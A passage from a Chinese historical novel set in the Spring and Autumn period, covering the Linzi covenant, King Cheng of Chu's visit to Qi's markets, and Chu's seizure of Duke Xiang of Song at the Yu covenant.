公元前641年6月,邾子琐将鄫子带往次睢之社举行大祭。可怜的鄫子被剁成八块,送上祭坛,成为大周历史上第一个祭神的国君!中原诸侯闻讯色变,对宋襄公大失所望,宋国求霸,更加艰难。
最不安的是南邻的陈国。陈穆公闻讯,如坐针毡。周朝礼制早有规定:诸侯即使犯罪,也应送天子处置,诸侯无权杀诸侯。宋公开此杀戒,恶行循环蔓延,中原又将回到齐桓公前中原混战的局面,战争将更残酷啊!他该怎么办?
陈穆公妫款的父亲陈宣公七年前去世,他承父衣钵,继续维持着与齐国的铁臂同盟。但齐桓公薨逝,齐国衰弱,过去的礼仪时代渐行渐远,无奈之际,他想起八国联军伐楚之时父亲的嘱咐:若不能灭楚,便与之结盟。现在,他只有这一条路了。
公元前641年秋天,陈穆公来到郢都,进入楚堂。只见他中等个头,面容秀美,一双大眼静如潭水,笔直的鼻梁,薄薄的嘴唇,清纯可爱。他趋步上前,恭敬行礼道:“妫款拜见楚王!”
楚成王兴奋地说道:“陈侯远涉来楚,熊恽受宠若惊也!”
陈穆公忙说道:“昔吾先君幸与召陵之盟,与楚忝列,妫款思之,长以为幸也!今谒见大王,愿与楚续盟!”
楚成王一听,笑逐颜开,说道:“陈侯堂堂一表,屈身就楚,不谷之幸也!”
陈穆公立即说道:“召陵之盟,齐楚相亲,诸侯亲昵。今桓公谢世
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,举目中原,能安天下者,惟楚而已。大王若能赴齐举盟,重修桓公之德,再温葵丘盟约,则天下谁不服楚?窃望大王图之。”
楚成王突然明白,这个漂亮的小侯是在教他修德,心里很不舒服。楚国并未参加葵丘之盟,凭什么再温葵丘盟约?齐为北霸,楚为南霸,且楚为王,齐为侯,他去会盟,齐侯必是盟主,他怎能屈就?但,陈是大国,君主首次来访,他不能抹人的面子。
屈完深知楚王性格,上前奏道:“召陵之盟,不可弃也。桓公谢世,大王当为天下之先,倡桓公之德。此顺天应人之举,不可辞也!”
子文也说道:“今宋公急切争霸,齐虽不从,却无力抗衡!我若助齐,齐必亲我,待共修桓公之德,亲善诸侯,共讨宋公,天下霸权,舍楚而谁?”
子文为楚国的利益着想,但屈完觉得不妥,说道:“大王此行,乃为修桓公之德,岂能与齐相争?桓公德昭日月,推恩及子,当奉齐侯为盟主,不可争也。”
陈穆公说道:“莫敖之言善哉!若大王诚修桓公之德,礼让盟主,天下谁及?若以强争霸,恐冷诸侯之心也。”
楚成王心里有点堵,但又觉得有理。他更想去临淄,看看人人向往的霸主之都。
公元前641年冬天,在陈穆侯的倡导下,楚成王熊恽、陈穆公妫款、郑文公姬捷、蔡庄侯妫甲午来到齐国临淄与齐孝公会盟。五年前蔡穆侯姬肸(xī西)去世,其子甲午继位,他就是蔡庄侯。
齐孝公闻讯,亲到城门迎接。
齐孝公高而单瘦,长脸之上,高耸的鼻梁和深凹的眼睛,使他面目险峻,容貌深沉。但那华丽的七旒君冠,绚烂的紫色披风,遮住了他内心的坎坷。远见楚王的玉辂驶近,他眉眼含笑,大步向前,拱手相迎道:“楚王棨戟遥临,临淄万象生辉也!”
“谢齐侯远迎。桓公之德,仰之弥久,云海千里,不觉远也!”楚成王也拱手回礼道。
小昭俯视着感情满怀的楚成王,感到从未有过的欣慰,回礼道:“闻楚王大义,于中原有求必应,今日一见,如饮甘露!有请楚王!”他似乎觉得自己太高,是对楚王的不敬,几乎躬身九十度,恭请楚成王入城。
“齐侯先请!”楚成王以手抚胸,也鞠躬说道。
入夜,齐孝公在国宫大殿设宴,隆重招待四国君主。他高举金爵,兴奋地说道:“昭有何德?得众诸侯眷顾?共饮此酒!”
“谢齐侯!”楚王和诸侯起身,举爵一饮而尽。
小昭高兴,依序又敬楚成王,再一一敬三国诸侯。完毕,楚成王回敬小昭,三国诸侯也一一回敬。如此七轮之后,敏感的小昭发现,三国诸侯竟围绕着楚王敬个不停,自己不敬,诸侯也不来回敬了。
他突然感到一丝担忧。明日会盟,众人恐要推楚王为盟主了!他虽感恩楚王,却不愿他在自己的国家主盟,更不愿意将霸权拱手相让。便轻轻把陈穆公拉到一边,问道:“陈侯倡盟,可与楚王商定何人主盟?”
“诸侯赴齐,当然齐侯主盟,何必多虑?”
“楚王之意如何?”小昭还是不放心。
“楚王已与莫敖商定,由齐侯主盟。不信可问莫敖。”
小昭抬眼望去,见屈完正与国、高二卿说话。便走了过去。屈完一见,立即起身相迎。小昭试探地说道:“不谷年幼,难承大事,明日若楚王主盟,诸侯必喜。”
“不可!我王岂可喧宾夺主?主盟者,必齐侯也!”屈完坚定地说道。
小昭惊讶地望了望陈穆公。陈穆公说道:“莫敖于楚王如兄如父,齐侯不必再疑!”
小昭如沐春风,立即回身去敬楚成王。
第49章 诸侯共修桓公德
冬日的阳光,照耀在繁华富丽的淄水河畔,东岸的会盟台上,齐、楚、陈、郑、蔡五国鲜艳的国旗随风飘舞。齐孝公吕昭、楚成王熊恽、陈穆公妫款、郑文公姬捷、蔡庄侯甲午衣冠楚楚,大步含笑登上盟台。众诸侯以齐孝公居中,分左右各立国旗之下。只见红光满面的吕昭上前点燃一支椒香,三拜天地,然后将插入香炉。四国诸侯随后点香礼拜。
礼毕,齐孝公大声说道:“皇天在上,先伯在下,今中原诸侯共会临淄,怀先伯之德,先伯有灵,当感其诚!举祭!”
鼓乐齐鸣,丝弦交响。众人垂首默立。军士抬上牺牲,摆到香炉之前。
上卿国懿仲一步上前,高声读道:“维大周襄王十二年孟冬之季,齐侯昭、楚王恽、陈侯款、蔡侯甲午、郑伯捷会于临淄,筑台共祭先伯桓公曰:
荡荡桓公,天立厥配。聿修明德,躬亲礼仪。释恩仇于战乱,使管仲德配卿相;举首盟于北杏,尊天子以戡乱世。存刑救卫,义薄云天;分沟礼燕,德昭天下。
穆穆桓公,受命既固。九合诸侯,不以兵车;一匡天下,怀远以德。北平狄戎,南结荆楚。天子赐胙,不废礼仪;尊王攘夷,功垂千古。
呜呼,天妒中国,召方伯西归!诸侯何辜?失中原盟主!不孝子昭今率诸侯对天共誓:后来之伯,必怀先伯之德,遵中国之礼。德安天下,礼尽诸侯;广播仁义,扬善除恶!有违此誓,神人共诛!
会盟圆满结束,诸侯仍然认可齐国的霸主地位,中原一片祥和。可众诸侯都不想回国了。这可是临淄啊!天下财富半在齐,谁不想一睹临淄风貌?楚国使团的随从纷纷要求上街逛市。屈完也对临淄充满好奇,便拉着楚成王便装上街。
临淄东临莱州湾,是依海而生的东夷部落发祥地。东夷少昊被部落联盟公推为帝时,临淄的爽鸠氏成为少昊凤鸟囯的执政成员,司职大司寇,爽鸠氏便是临淄原居族民骄傲的祖先。源远流长的文化历史,催生着经济的不断繁荣。有着千年历史的淄水河两岸,早已是中原经济贸易中心。这里,商铺会馆鳞次栉比,茶肆酒楼灯火灿烂。来自鲁国的丝帛、锦衣,来自东海的食盐、海产,来自北方的人参、山药、珍兽和毛皮,以及来自中原的礼器、歺具和粮食,都在这里交集。中原各国的商人住满客栈。虽然天气寒冷,街道上依然车水马龙,穿着各国服装的男男女女熙熙攘攘,来往穿梭,使得街上缤纷浪漫。
楚成王戴着楚国贵族的红色高冠,身穿蓝色棉袍,好奇地东张西望。来到淄水大街,最醒目的是一家家盐店,店铺内一缸缸洁白晶亮的食盐让大家眼前一亮。他们从未见过这么多食盐。楚成王拿起几颗粗大晶亮的盐粒,左看右看,说道:“此盐实在令人喜爱!”。屈完说道:“楚国稀缺,有乡民几年尝不到盐,因此眼瞎,可与齐侯商榷,定期购买,以解楚之盐荒!”
楚成王点点头,默不出声地向前。密密麻麻的临街的店铺,摆满各种琳琅满目的商品。造型奇异的鼎、簋、壶、卮、觞等铜器,镀金镶玉,精细华美,让人感叹不已。而那雅致的皮**店内,那纯净、柔软的狐、虎、豹、熊等高档皮衣,色泽亮丽,精致优雅,大家看得面面相觑。而更多的衣店内,那织纹精细的各种面料和衣裳,更是千姿百态,满目绚烂。
一行人走了很久,屈完看见一家铁器店,便走了过去,他一眼就看到一把铁犁,走上去摸了摸,问店主道:“齐人皆以铁犁耕田乎?”
店主一看他们的高冠,问道:“是也,大人可是楚国人?”
屈完点点头,说道:“是也,铁犁多少钱一把?”
店主年轻,三十多岁,热情地说道:“不贵,二个铜圆一把!齐国都用此铁犁耕田。”
楚成王立即上前,左看右看,说道:“若全用铁犁,何来许多的铁?”
“大人有所不知,齐人善炼铁,齐地铁多,以商山为最,故齐铁价贱。大司农宁戚便想以铁犁换木犁。他亲制铁犁,昼夜在田地试耕,其效数倍于木犁,便令全国更改。故齐地遍开荒山,野地全都耕为良田,齐国粮食倍增,皆铁犁之功也!”
楚人一个个默不出声,想到自己的国家还在刀耕火种,木犁都少用,而齐国已进入铁犁时代,自卑之感,油然而生。
“今中原诸国都来临淄买铁犁,宋、郑、曹、鲁诸国皆以铁换木也。楚国多铁矿,何不买些铁犁回去,再自己炼铁,铸犁代木?”
“店家如何知晓楚地多铁矿?”
“在下也是楚国人。”那店主兴奋地说道。
“汝为楚人?姓甚名谁?家住哪里?”屈完好奇地问道。
“在下姓潘,单名一个奎字,家住郧县河西村。”
“原来是故人,为何来到齐国?”
“二十多年前,遭遇大旱,粮食颗粒无收,母亲和小妹都已饿死,父亲便带我逃荒,流落异国。闻齐国富裕,便千里来投。在商山铁冶村遇一炼铁人家,便留下挖铁矿,烧焦炭,炼石灰,帮恩人炼铁,自己也挣得一些积蓄,便在此开店。”
“子会炼铁?”屈完高兴地问道。
“炼铁十多年矣,此铁犁、铁锄、铁镐,全为我与家父炼铁打制,中原商贾,都愿来买。”
屈完一听,把楚成王拉到一边,说道:“不如把此人带回楚国,令他领头炼铁铸犁,我大楚必将山地耕为良田,何愁国家不富?”
楚成王说道:“莫敖之意,正合我心,不知潘奎愿不愿意?”
屈完立即转身对潘奎说道:“潘奎,汝既为楚人,还不过来拜见大王?”
潘奎惊喜交加,上前细看道:“果然是我王来此?”
“正是。”屈完说道。
“拜见大王!”潘奎跪了下来。
楚成王将他扶起,说道:“潘奎既为楚人,可愿随不谷回国,炼铁铸犁,造福大楚?”楚成王问道。
“大王有令,潘奎万死不辞!”
“好,明日寡人回国,可愿同行?”
“在下愿意。”在异国他乡一下遇到自己的国王,潘奎恋恋不舍,说道:“大王驾到,潘奎万幸也。大王欲观临淄之盛,在下愿为大王引路。”
“正好,请与不谷同行。”
潘奎嘱咐了一下店里的伙计,便随大家向前走,一路介绍沿街商铺货物的来源、特色、价格。走着走着,屈完好奇地问道:“这满街之人,相貌悬殊,衣着式样色泽迥异,可是来自中原各国?”
“正是。那毡帽黑衣者是秦国人,紧身绛衣者为晋国人,白衣长袖者是宋国人,高帽短衣,与我楚人穿戴相似者,是陈国人。”
楚成王转眼看见一间皮**店里做生意的伙计红发绿眼,惊讶地问道:“那些可是狄人?”
“正是。北狄的狐皮,最受中原公族贵人喜爱,他们便在此开店售卖。”
“北狄乃中原死敌,齐人竟许他们在此开店?”楚成王不解地问道。
“只要有好货,谁都可以开店,谁都可以买卖。齐人只管收税,不管其他。”潘奎说道。
屈完叹道:“一国之市,可见一君之胸襟也!”
这时,几个花枝招展的女子陪着几位衣冠楚楚的男子从一个酒楼出来,向右边街上走去。楚成王好奇地问道:“都言郢都女子多,临淄乃礼仪之都,为何到处都是浪**子?”
“这些为女闾,专陪客**琴、唱歌,喝酒。客商和旅人远道来齐,有女为伴,便不觉孤独也。”
大家随这群男女的身影向右边街道望去,只见那街道两边一排排装饰华美,式样各异的楼面上,挂着“新郑会馆”“曲阜新堂”“淮阳会店”等溜金招牌,屈完好奇地问潘奎道:“那一排排馆堂,都为中原之人所住?”
潘奎点点头,说道:“桓公在世之时,各国商贾、旅人、学子、士人纷纷来齐,临淄人山人海,酒肆旅馆容纳不下,中原各国便在此开馆设堂,自建自用。各国商贾、旅人来临淄,都找自己的馆堂,寻货问价、洽商会友,不用到处寻找吃、住之地,亦有回家之感,省去很多麻烦。”
“中原诸国都有?”楚成王惊讶地问道。
“诸国都有
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!各国将自己所产运来临淄卖出,又将所需之物买回,有此堂馆,便来去无忧也。”
“霸主之都,果然不同!”屈完想起郢都难得见一个外国人,感叹地说道。
“为何中原商贾都来临淄?”楚成王问屈完道。
“只因齐侯宽仁为怀,礼遇天下,故天下奇货集于临淄,万方皆求也。大王若也建馆堂,将齐国盐铁源源买回楚国,可解我楚民无盐之苦,木犁之难也。”
“潘奎之言有理,若然,可开郢都与临淄商道,互通有无,郢都之市亦可兴旺也。”
楚成王点点头,却说不出一句话来。
在回国的路上,楚成王独坐在宽大的玉辂之中,临淄的繁华,让他一路无言。这天,他实在憋得发慌,便召屈完上车,忧心地说道:“临淄之盟,齐侯霸权定也!”
“齐国恩泽四方,富甲天下,霸权属齐,人心向归也!”屈完说道。
“诸侯皆与我盟,我亦有求必应,为何不能称霸?”楚成王终于说出了心中的不满。
屈完陷入深深的思虑之中,说道:“诸国求盟,是惧我,而非亲我也!故商贾不至,士人不来,结盟易,背盟亦易。诸侯盟齐,是亲齐,而非惧齐也。故公卿大夫,贩夫走卒,纷纷往齐,齐即中原之家也!大王若长修桓公之德,施恩天下,使中原之人至楚如归,何愁不能称霸?”
“齐国富甲天下,楚亦鱼米之乡,我赋税浩巨,国库充盈,不逊齐国!”楚成王心中不服。
“齐国农工商铁盐并举,市连中国,货通天下。我楚有农无商,国虽强,民斯苦矣!民不富,国强安得长久?若我强农兴商,国民俱富,霸权必然归我!”
楚成王点点头,可心中仍然不满。要等国家富强如齐,方可称霸,要到何年何月呢?
但临淄之行,确实让他大开眼界。他突然问道:“那祭文言,齐桓公分沟礼燕,此为何事?”
“此事发生在二十多年前,大王彼时年幼,故而不知。”
“莫敖可否告之一二?”楚成王想早日称霸,急不可耐地问道。
“二十三年前,以令支、孤竹两国为主的山戎大举进攻燕国,烧杀掳抢,无恶不作。燕庄公十万火急向齐国求救。齐桓公御驾亲征,深入北方苦寒之地,浴血苦战数月,伤亡累累。在征讨孤竹国时,被孤竹国元帅引入一片寒冷的沙渍之地,那北方沙渍地,飞沙满天,寒冷刺骨,大军迷失方向,转了一天一晚,人饥马困,冻馁难熬,眼看就要困死其中。幸曾经商的管仲想到了老马识途,便以老马在前引路,方走出沙渍之地,冻累而死者不计其数。”
“北极征伐,实属不易!”楚成王感叹道。
“齐军历尽千辛万苦,终于扫平令支、孤竹二国,惩处两国无道**,灭此二国。可桓公却将两国之地全部划归燕国,自己寸土不取,下令班师回国。
“燕国民众闻讯,感恩无地,倾国而出,箪食壶浆,迎送大军。燕庄公双手扶着齐桓公辂车,步步含泪相送。送至齐燕边境。管仲起身说道:“至此便可,不可再送!”
“为何不能再送?”楚成王问道。
“周礼有制:诸侯及臣民送他国之君,只能送至边境。唯对天子方能越境相送。如燕人送到齐国境内,桓公便是受了天子之礼,是僭越之举。”
楚成王“哦”了一声,点了点头。
“可燕人却不管,在他们看来,桓公就是他们的天,成千上万的燕人依依不舍,扶车含泪,依然一路向前。过境五十里,还是不停。齐桓公无奈,只好下车令道:“以此为界,北面五十里,划归燕国,众将士掘沟为界!”
楚成王又迷惑了:“这是为何?”
“此便是分沟礼燕。桓公将此五十里地礼送燕国,燕人就是在自己的国土上送齐侯,没有越界,桓公亦未僭越违礼也!”
楚成王惊讶地说道:“宁失地五十里,亦不失礼?”他简直不敢相信。
“是也,在中原,礼大于天也!”屈完说道。
楚成王机械地点了点头,眼前却一片迷惑。
第50章 楚王盟台劫襄公
宋襄公闻五国临淄结盟,共倡桓公之德,顿觉霸权难得。那小昭还想捏住霸权不放,让他头痛;楚国强大,诸侯争相结楚,他更惹不起。两只拦路虎在前,怎能称霸?他成天愁眉不展,郁郁寡欢。
公子荡揣摩到君兄的心思,谏言道:“天下之强,莫过于楚。然楚为南蛮,不宜为霸。君兄不若以卑辞厚币往结于楚,楚有求必应,可借楚力召盟诸侯。若鼎定霸业,楚安能不躬身事宋?”
宋襄公脑洞大开,说道:“善哉!汝速聘楚,以好言相邀。寡人再遣使聘齐,若二君悉至,中原定矣!”
公子目夷觉得这是与虎谋皮,说道:“楚人,虎狼也,安能为我所用?国君不可为也!”
宋襄公说道:“陈侯召楚,楚尚从之,况我大国乎?子渔不必多言!”
公子目夷字子鱼,他无奈退下,只好同意公子荡带着大量金银玉器访问楚国。
公子荡个头不高,却灵活机警,圆脸之上,一双大眼扑闪流转,显得很可爱。一见楚成王,他躬腰垂头,一头跪了下来,说道:“外臣子荡奉寡君之命拜见楚王!楚王名震天下,寡君久仰矣!”
楚成王见他如此大礼恭维,赶紧下台将他扶起,高兴地说道:“果为微子之国,大商之后!小王岂敢僭受?公子且起。”
“启禀大王,寡君有言,楚为千乘之国,**之地,中原无不向往。寡君久慕大王风采,欲携齐侯共会大王,以结三国之睦,共谋中原之福。万望大王莫辞!”
楚成王一惊,一时摸不着头脑,只好说道:“宋公美意,小王承领!公子且往国馆安歇,待我君臣商定,必定有复!”
“宋使有礼,然有谄媚之色也!”屈完望着他的背影说道,心里不是滋味。
“宋人币重言甘,必有所图!”蒍吕臣也提醒楚成王。
“宋公意欲称霸,无奈诸侯不服,欲请大王相助也!”子文一语点穴,可却乐呵呵地笑道。
“霸权属齐,大王不可往。”屈完坚定地说道。
“宋使卑辞相邀,不允是为不礼;宋、齐约盟,不往是为不敬;宋公所图,不察是为不智也;大王可往会之,此天赐良机也!”子玉与众人的态度相反。
“良机何在?”蒍吕臣不解。
“宋公于齐,有定国之恩。若大王不与,齐、宋必然结盟,合诸侯而共拒大楚;若大王与盟,二国必争相结楚,遂生嫌隙,岂能媾盟?二虎相争,必两败俱伤,霸权必为我有!大王可往,宋公所求,亦可应之。”子玉胸有成竹。
中原三巨头会盟,作为南蛮的楚成王不可能不动心,他也想会会那个副霸主之子。听子玉之言,更觉有理,决定赴鹿上之盟。
鹿上当然是宋国的城邑。公元前639年春天,宋、齐、楚三国元首至此相会。楚成王先到,宋襄公亲往西门外迎接。一见楚王华丽的乘车,他笑靥如花,大步向前,躬身拱手道:“楚王辱临敝邑,若凤翔睢水,兹甫久仰也。”
“宋公召盟,谋中原之福,恽窃以为幸也!”
两人正携手入城,忽报齐侯驾到,又返回相迎。宋襄公远远拱手迎道:“齐侯一别经年,终得重逢也。”
齐孝公慌忙下车回礼:“蒙宋公大义匡扶,吕昭方可与会也。”
宋襄公一听,脱口应道:“兹甫蒙桓公托孤,得主中原正道,虽万难而何辞?”
楚成王和齐孝公一听不对,这弦外之音,他是在以霸主自居啊!两人笑意顿收,对望一眼,相互点头问候,竟都说不出话来。
三国元首进入行宫大堂,宋襄公坐上居中主位,楚成王居左,齐孝公居右。宋襄公见两君无争,又发话道:“大国会盟,以礼为先,今以爵定序,如何?”
宋是公爵,齐是侯爵,以爵位排序,这是明火执扙地向齐国抢班**啊!齐孝公小昭立脸色骤变。你虽对我有恩,却不能抢我的霸主之位呀!但又不敢与恩公明争,便转眼看楚王。楚是王国,爵位应是最高!能甘居宋国之下吗?但天子赐封给楚人的又是子爵,爵位最低,楚成王似乎不便相争,满脸堆笑:“以爵定序,理应如此。”
小昭气得脸色发紫,两眼冒火,却不好发作。
宋襄公见两人都无异议,更加得意,说道:“今桓公仙逝,中原无主。兹父不避德薄力微,欲举中原之盟。如蒙二君辅弼,何愁天下不安?”
小昭望着他那可恶的大鼻子,恨不得把它拧下来。他身材不如父亲齐桓公强壮,那副长脸此时拉得更长,两眼呆滞不动。而楚成王勉强成笑,也不出声。
宋襄公当然看出小昭满脸怨气,心想,你小子的君位是我给的,今日不知恩图报,还一脸晦气,也心生不满,便不理他,拿出会盟文牍,自己先签上名字,请楚成王签署。楚成王一看,他只能签在宋襄公之后,心中也不满,便让小昭先签,可小昭又睹气地推回给楚成王,楚成王又推给他,说道:“楚乃边鄙蛮邦,岂可居于钦赐方伯之上?”一下点到小昭的痛处。他哪里还肯签?又推回来。宋襄公见这个臭小子不知趣,说道:“今日之楚,乃赫赫大国,非昨日可比也!楚王不必推辞。”熊恽一听,很是受用,便在宋襄公的名字之后签下自己的名字。谁知这话更加刺激了小昭,他大齐霸主之国,怎能屈居第三?心想,你楚王到临淄之时,还奉齐为盟主,今日为何不仗义执言?他更加不满,坚决不签。说道:“敝邑祸乱未尽,小侯年齿未暮,岂能与上国同列?”既然如此,你们去会盟好了!
宋襄公知道他在赌气,也不再劝,说道:“俟秋八月,兹甫于盂地恭候二君遥临。此盟当修桓公之德,为衣裳之会也!”
衣裳之会就是乘车之会。宋襄公要效仿齐桓公召盟,诸侯坐乘车,穿朝服。不坐战车,不穿铠甲,更不带刀剑,举行一场和平之会。
“熊恽敢不从宋公之命?”楚成王恭顺地说道。而小昭却不出声,转身就走了。
回到郢都,楚成王向众臣讲述会盟时的情景,惹得大家哈哈大笑。屈完说道:“子玉所料果然不差,齐侯安肯屈就?”
“齐、楚不就,谁敢与宋人结盟?皆惜项上人头也!”子文调侃道。
“不然,大王须守盟约,与会盂地之盟!”子玉说道。
“文牍已推宋公为盟主,大王与会,岂不自取其辱?”这下,连子文都跟不上子玉的思维了。
“中原诸侯盟会,须公推盟主,岂由三国选定?今宋公狂悖,外强中奸,大王正可趁衣裳之会将其擒回,以挫其锐气!”子玉目光如电,语意决断。
“不可不可!”屈完感到会盟变了味,赶紧阻挠道:“宋公擒滕君,杀鄫子,为天下所指。若大王擒宋公,与之何异?中原之人,必视我为楚蛮,与人口实也!”
子玉哈哈一笑,说道:“我可擒之,亦可释之!赴盟而擒之,显大国之威;召盟而释之,彰大国之德也!此一擒一释,霸业定矣!”子玉终于将计谋和盘托出。
众人一听,恍然大悟!钦佩之情油然而生,都表示赞同。可屈完却一下傻了,如此**一个大国君主,岂是称霸之道?必有后患啊!可楚成王高兴地说道:“子玉之计,正合寡人之愿,令子西、子上率军随寡人同往,将那狂悖之徒擒回!”
公元前639年八月既望,秋高气爽,阳光明媚,宋襄公站在高高的
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会盟台上,等待着天下诸侯的到来。他的前面是三十六级长长的台阶。盟台之上,宋、楚、齐、鲁、陈、蔡、郑、许、曹等诸侯的旗帜,在灿烂的阳光下猎猎飞舞。宋襄公头戴黑色的九旒冠冕,身穿绣有九道章纹的白色衮服,外披镶有金边的黑色大氅,双目远眺,那高高的鼻梁也显得格外挺拔。
在焦急等待中,曹共公姬襄首先到来。他是宋囯的第一盟友,当然要早点来,更加强两国关系。
不久,郑文公姬捷也来了。接着许僖公姜业,陈穆公妫款,蔡庄公甲午也接踵而来。宋襄公大悦,正在这时,使者来报:
“齐侯遣使来报:内乱未平,不敢离国,无暇与盟!”
“鲁国边境生乱,鲁公遣使致歉!”
齐、鲁两个大国都不来,宋襄大失所望,木然无语。突然,廷尉过来报道:“楚王至也!”
宋襄公愁容顿消,满脸喜色,赶紧走下会盟坛,众国君更不敢怠慢,跟着一齐迎接。
楚成王站立在高大的玉辂之上,只见他头戴十二旒红色王冠,身穿十二章纹红色衮服,腰系黄色王琥,外披黑色的绣凤大氅,目光炯炯,以斗勃为车驾,子玉为车右,大队人马簇拥在后,大气凛然地徐徐而来,见宋公出迎,便停车下地,子玉、子西紧跟左右。
“大楚王驾宠临,盂地盟坛生辉也!”宋襄公急忙上前,拱手施礼,一脸笑容。楚成王也笑道:“宋公有召,安敢懈怠?”众诸侯纷纷上前谒见,楚成王拱手致谢。楚人以左为尊,楚成王转身从左阶迈步登台,诸侯簇拥在后,拾级而上。中原以右为尊,宋襄公高兴地带着公孙固和公子荡及宋国众臣从右阶随之而上。
登上盟台,楚成王与宋襄公并肩而立,其余分立左右。宋襄公迈步出列,以盟主的姿态对诸侯说道:“兹甫德薄,幸诸侯不弃!今不揣冒昧,意欲与天下诸侯承桓公之德,礼安天下——”
“且慢——”楚成王也迈步向前,打断他道:“宋公,今日之盟,谁为盟主?”
“哦哦……”宋襄公心里早有准备:“天下诸侯会盟,须遵周礼,按爵排序,当否?”
“然也,熊恽恭敬不如从命!”说着站了起来,一掌把将他推开,说道:“寡人为王,汝为公,须尊寡人为盟主!”
“汝为子爵,冒爵为王,岂可主盟?”宋襄公争了起来。
这话一下刺到楚成王的痛处,他目露凶光,恼怒地逼问道:“寡人冒爵为王,为何与寡人为盟?今日汝尊吾否?”
“这……”宋襄公被他的气势镇住了,更不敢与楚为敌。
楚成王转身问众诸侯道:“汝等尊何人主盟?”
“大楚之王,当为盟主!”楚成王的亲密战友郑文公立即站了起来。
“天子亲赐胙肉,谁敢不认?”许僖公想立新功,便引经据典。
“大楚之王,当主盟也!”蔡共公、陈穆公也随即表态。
宋襄公一下傻了眼!他这才明白,天下诸侯早已投楚。可是,他仍不死心,说道:“楚国之王,乃冒爵僭越;兹甫之公,乃大周所封!岂能尊假王而弃真公?”
楚成王怒道:“大楚之王,已历三世,汝渎我先祖,与楚为敌,岂能轻饶?来人——”他右手一挥,喊道:“将此贼擒下!”成得臣,斗勃立即冲了上前来,一人抓住一只胳膊,把他拎起就往下拖。这时,楚国两广卫队一拥而上,接手拖了下去。大家一看,楚人铠甲锃亮,刀剑冷寒,原来参会之时只在身外加了一层薄衣而已。众诸侯吓得呆若木鸡,一动也不敢动。公子荡也-下吓傻了,也不敢动。公孙固见势不妙,趁混乱之际从人群中钻出,逃走了。
第51章 亳城会盟楚国称霸
宋襄公盟台被擒,震惊中原!宋国群臣焦急万分,纷纷涌入宫中:“楚蛮无礼,君上危也!”
“与楚一战,抢回君主!”
“必救主上!”
众人对着留守的右师和左师喊叫不停!左师目夷说道:“君上被擒,国之大耻也,我领兵出城救主,右师守城,可否?”
右师公子成说道:“若左师出救,亦为楚人所擒也!”
“右师何出此言?楚王所领左右二广,不过三千人耳,我必救回主上。”
公子成显得异常镇静,说道:“楚国大军早已驻于城北郊外,此时恐将围城也,左师可到城头一观。”
众人又是一惊!目夷说道:“若如此,国将危矣!我先上城头察之,令守**速备战,四门尤要加强防卫!”
目夷刚出宫门,就听有城民喊道:“不好,楚人来也!楚人围城也!”
目夷只觉心惊肉跳,急急登上西门城头,他凭栏一看,心中倒抽一口冷气:宋国的灾祸来了。
此时的睢阳城外,旌旗猎猎,蹄声如雷,数万楚国将士如黄蜂一般涌来,千军万马之中,楚王的红色大纛正驶近西门。大纛之下,可见楚王金盔金甲,立于玉辂之前。而在楚王身边的木辂之上,一个身材高大之人被五花大绑,呆立不动!
“君上——”目夷只觉心中一酸,眼泪盈满眼眶。
“君上——君上——”群臣和将士们呼喊着,哭泣着,城头一片悲伤。
这时,楚王身边一员大将举剑高喊道:“我王率战车千乘,已将睢阳围住,速速开门投降,否则诛杀昏君!”
目夷一听,一时不知如何回复。正在这时,公孙固急急赶来。目夷一惊:“大司马何以脱身?”
“我早知楚人不怀好意,令人暗中接应。然楚人太多,我不能救君上,只好只身逃回。”
“今楚挟君为质,诈取国都,如何是好?”
“左师速回宫中,与右师商议,共挽危局。”说完,公孙固转向城下的楚成王,大声喊道:“楚王驾临敝邑,敢不清宫出迎?待我回复右师,再迎大王。”
回到宫中,见右师公子成端坐不动,目夷说道:“不出右师所料,楚人兵临城下,逼我投降,如之奈何?”
大家都望着这个少年老成的宋国首辅。他是宋庄公的幼子,宋襄公的叔叔,历经宋庄公、宋桓公和宋襄公三代,少年老成。只见他默然起身,仰头说道:“为今之计,惟重立国君,使社稷有主,国难方解!”
“不可,君上罹难,岂能再夺其位?此为无礼也!”目夷第一个反对。
公子成静静说道:“若不废主君位,必遭楚人威逼。君上若令开门投降,是为叛国;若拒楚人之命,必为所辱。”
众人一听,都觉得有理,君上正处两难之间,若废其君位,楚人则无可奈何。
“以右师之意,何人可承大位?”
“众僚之意如何?”
公孙固想了想,说道:“公族之内,惟长公子最贤!”
大家一听,都望着目夷,目夷说道:“不可!臣不可以臣废君,以庶凌嫡也。”
公子成笑了笑:“君上潜邸之时,意欲让位子鱼,子鱼记否?”
“右师欲陷我于不仁不义乎?”目夷当时就坚决推让,现在更不同意。
公子成又笑道:“左师若守仁义,迎回君上后,可还位于君。”
这倒是一个两全其美的好办法,目夷沉默良久,只好同意了。
宋廷举行隆重的继位仪式,通告全城百姓。公孙固登上城墙,对楚成王喊道:“禀楚王,寡君冒犯尊驾,罪莫大焉,今已废其君位,另立长公子为君矣。兹甫戴罪,可入楚侍奉大王,恭聆垂训。然宋人无罪,大王何故兵临城下?若大王赴盟而攻城,将失信天下,窃为大王不取也!”
楚成王一听,对子玉怒道:“君位既废,留之何用?不如先杀废君,再攻睢阳。”
子玉忙劝道:“杀君攻城,恐冷诸侯之心。不如会盟诸侯,共治其罪,使天下诚服!”
成王应允。子玉对宋人喊道:“我王素慕长公子贤德,唯恐不恭,安敢犯颜?奈兹甫辱我大楚先圣,若不矫束,愧为后人!今使其暂居大营,待天下诸侯共察其失,必当释还。”说完,撤兵而去。
楚军撤兵至睢阳北郊的亳城。子玉安定营寨,走进王帐,对楚成王说道:“大王,时机到也!若以亳城举盟,召天下诸侯与会,察宋公之失,则霸权定也。”
楚成王想了想,说道:“天下诸侯,重在齐、鲁。齐楚相亲,齐侯必至。然鲁国与我素无往来,鲁公恐难从也。”
子玉诡秘一笑,说道:“鲁、宋为邻,世为
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姻亲,更有同盟之谊,岂能弃宋于不顾?若大王向鲁献捷,以结其心,鲁公为救宋公,必然赴盟。”
楚成王大喜,将盂地之盟缴获宋国人的所有祭器、仪仗、服饰、粮食和用具等装上几十辆大车,令斗宜申为使,浩浩荡荡开往鲁国献捷。
楚国使团进入曲阜,那一车车礼品,让鲁人争相围观。鲁僖公大开宫门,迎接斗宜申入宫。
高大魁梧的斗宜申头戴铜盔,身穿铜甲,虎虎生风地迈入鲁宫大殿,俯身拱手,对鲁僖公说道:“外臣子西奉我王之命,向鲁公献捷!”说完递上礼单。
鲁僖公接过礼单一看,眉开眼笑,说道:“楚王大礼,寡人受之有愧。闻楚王擒得宋公,将何以处置?”
“我王乞鲁公明教,特请鲁公高抬贵足,前往亳城一会!”
